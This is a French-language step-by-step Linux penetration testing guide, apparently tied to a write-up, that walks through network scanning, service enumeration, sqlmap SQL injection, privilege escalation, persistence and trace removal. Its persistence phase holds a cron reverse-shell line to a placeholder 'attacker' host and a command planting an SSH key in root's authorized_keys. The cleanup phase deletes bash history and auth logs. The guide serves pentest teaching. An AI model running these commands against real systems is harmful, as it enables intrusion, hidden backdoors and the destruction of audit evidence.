Guide Étape par Étape : Pentest Linux

Méthodologie complète pour tester la sécurité d'une infrastructure Linux.

Phase 1 : Reconnaissance Réseau

Objectif :

Identifier les services réseau, ports ouverts et versions.

Outils :

  • Nmap : Scanner réseau complet
  • Nikto : Scanner web
  • Masscan : Scanner haute vitesse

Commandes :

# Scan SYN complet
nmap -sV -sC -A -p- target

# Scan UDP
nmap -sU -p 53,123,161,162 target

# Scan de services spécifiques
nmap -p 22,80,443,3306,5432 -sV target

Phase 2 : Énumération des Services

Services courants :

  • SSH (22) : Brute force, énumération users, key-based auth faible
  • HTTP/HTTPS (80/443) : Application web, headers, cookies
  • FTP (21) : Anonymous access, credentials faibles
  • SMB (445) : Partages, enumération via null bind
  • MySQL/PostgreSQL (3306/5432) : Connexions sans auth, injection SQL
  • Redis/Memcached (6379/11211) : Accès non authentifié

Commandes :

# SSH enumération
ssh-audit target
sshpass -p password ssh user@target

# FTP enumération
ftp target
(login: anonymous)

# MySQL sans authentification
mysql -h target -u root

# Redis enumerate
redis-cli -h target KEYS *

Phase 3 : Exploitation Applicative

Vulnérabilités courantes :

  • Injection SQL : Accès DB, dump données
  • Injection OS / RCE : Exec commandes systèmes
  • LFI/RFI : Lire/inclure fichiers serveur
  • XXE : Accès fichiers via XML
  • SSRF : Accès services internes

Drill SQL Injection :

# Test basique
sqlmap -u "http://target/page?id=1" --dbs

# Dump utilisateurs
sqlmap -u "http://target/?id=1" -D database -T users --dump

# Shell système
sqlmap -u "http://target/?id=1" --os-shell

Phase 4 : Élévation Linux

Vecteurs d'attaque :

  • SUDO mal configuré : NOPASSWD, wildcard, scripts
  • SUID binaires : Exploitation de setuid
  • Cron jobs : Scripts exécutés par root
  • sudo -l : Droits disponibles
  • Kernel exploit : CVE locales (DirtyCOW, etc.)

Commandes :

# Chercher binaires SUID
find / -perm -4000 2>/dev/null

# Vérifier sudo permissions
sudo -l

# Exploiter SUDO
sudo /usr/bin/script

# Exploit kernel
Searchsploit Linux 4.4
uname -a

Phase 5 : Post-Exploitation & Persistence

Actions :

  • Dump fichier passwd/shadow : Extraction hash
  • SSH keygen : Créer clé persistante
  • Cron backdoor : Reverse shell régulier
  • .bash_profile modification : Persistence login
  • Netcat listener : Accès permanent

Commandes :

# Ajouter clé SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Cron backdoor
crontab -e
* * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1

# Hider processus
echo "bash" >> /root/.bash_profile

Phase 6 : Nettoyage des Traces

Actions :

  • Supprimer historique bash : rm ~/.bash_history
  • Effacer logs système : rm /var/log/auth.log
  • Nettoyer métadata fichiers
  • Supprimer clés SSH temporaires

Tableau Récapitulatif

Phase Outils Commandes clés
Reconnaissance nmap, masscan, nikto nmap -sV -A -p- target
Enumération ssh-audit, redis-cli, mysql redis-cli -h target KEYS *
Exploitation sqlmap, metasploit, curl sqlmap -u "url" --dbs
Escalade linpeas, searchsploit find / -perm -4000 2>/dev/null
Persistence ssh-keygen, cron crontab -e (reverse shell)

← Retour Writeup